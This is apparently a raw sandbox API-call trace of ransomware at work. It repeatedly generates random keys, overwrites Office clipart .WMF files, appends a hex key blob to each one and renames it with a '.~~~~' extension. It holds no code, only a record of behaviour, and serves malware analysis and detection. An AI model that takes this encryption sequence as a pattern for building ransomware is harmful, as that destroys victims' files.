	[0090.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.886] GetLastError () returned 0x0
	[0090.886] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0090.887] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.887] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.887] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21087743039) returned 1
	[0090.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ff31cb0, dwHighDateTime=0x1d60e1e)) 
	[0090.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381b90
	[0090.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381b90 | out: hHeap=0x300000) returned 1
	[0090.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871ac0
	[0090.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.888] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.888] GetLastError () returned 0x0
	[0090.888] GetLastError () returned 0x0
	[0090.888] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.888] GetLastError () returned 0x0
	[0090.888] GetLastError () returned 0x0
	[0090.890] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff7a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.890] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x85c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x85c, lpOverlapped=0x0) returned 1
	[0090.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.891] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.891] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.891] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.891] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.891] CloseHandle (hObject=0x128) returned 1
	[0090.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.~~~~")) returned 1
	[0090.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.892] GetLastError () returned 0x0
	[0090.892] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0090.893] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.893] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.893] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21088292900) returned 1
	[0090.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ff31cb0, dwHighDateTime=0x1d60e1e)) 
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381bc8
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381bc8 | out: hHeap=0x300000) returned 1
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871b58
	[0090.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.893] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.893] GetLastError () returned 0x0
	[0090.894] GetLastError () returned 0x0
	[0090.894] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.894] GetLastError () returned 0x0
	[0090.894] GetLastError () returned 0x0
	[0090.895] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff524, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.896] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xadc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xadc, lpOverlapped=0x0) returned 1
	[0090.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.896] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.896] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.896] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.896] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.896] CloseHandle (hObject=0x128) returned 1
	[0090.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.~~~~")) returned 1
	[0090.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.897] GetLastError () returned 0x0
	[0090.897] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0090.898] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.898] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.898] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21088817982) returned 1
	[0090.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ff57e10, dwHighDateTime=0x1d60e1e)) 
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381c00
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381c00 | out: hHeap=0x300000) returned 1
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871bf0
	[0090.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.899] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.899] GetLastError () returned 0x0
	[0090.899] GetLastError () returned 0x0
	[0090.899] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.899] GetLastError () returned 0x0
	[0090.899] GetLastError () returned 0x0
	[0090.901] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff514, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.901] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xaec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xaec, lpOverlapped=0x0) returned 1
	[0090.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.902] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.902] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.902] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.902] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.902] CloseHandle (hObject=0x128) returned 1
	[0090.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.~~~~")) returned 1
	[0090.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.903] GetLastError () returned 0x0
	[0090.903] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0090.904] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.904] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.905] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21089469704) returned 1
	[0090.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ff57e10, dwHighDateTime=0x1d60e1e)) 
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381c38
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381c38 | out: hHeap=0x300000) returned 1
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871c88
	[0090.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.905] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.905] GetLastError () returned 0x0
	[0090.905] GetLastError () returned 0x0
	[0090.905] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.906] GetLastError () returned 0x0
	[0090.906] GetLastError () returned 0x0
	[0090.948] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff470, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.949] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xb90, lpOverlapped=0x0) returned 1
	[0090.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.951] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.951] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.951] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.951] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.951] CloseHandle (hObject=0x128) returned 1
	[0090.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d15c0
	[0090.959] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.~~~~")) returned 1
	[0090.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.976] GetLastError () returned 0x0
	[0090.982] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6e70) returned 1
	[0091.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.001] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0091.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.001] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21099134817) returned 1
	[0091.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa003c650, dwHighDateTime=0x1d60e1e)) 
	[0091.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381f48
	[0091.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381f48 | out: hHeap=0x300000) returned 1
	[0091.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d15c0
	[0091.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382eb8
	[0091.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0091.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.002] GetLastError () returned 0x0
	[0091.002] GetLastError () returned 0x0
	[0091.002] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.002] GetLastError () returned 0x0
	[0091.002] GetLastError () returned 0x0
	[0091.005] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff7fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.006] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x804, lpOverlapped=0x0) returned 1
	[0091.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.006] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.006] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.006] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.006] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.007] CloseHandle (hObject=0x124) returned 1
	[0091.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d15c0
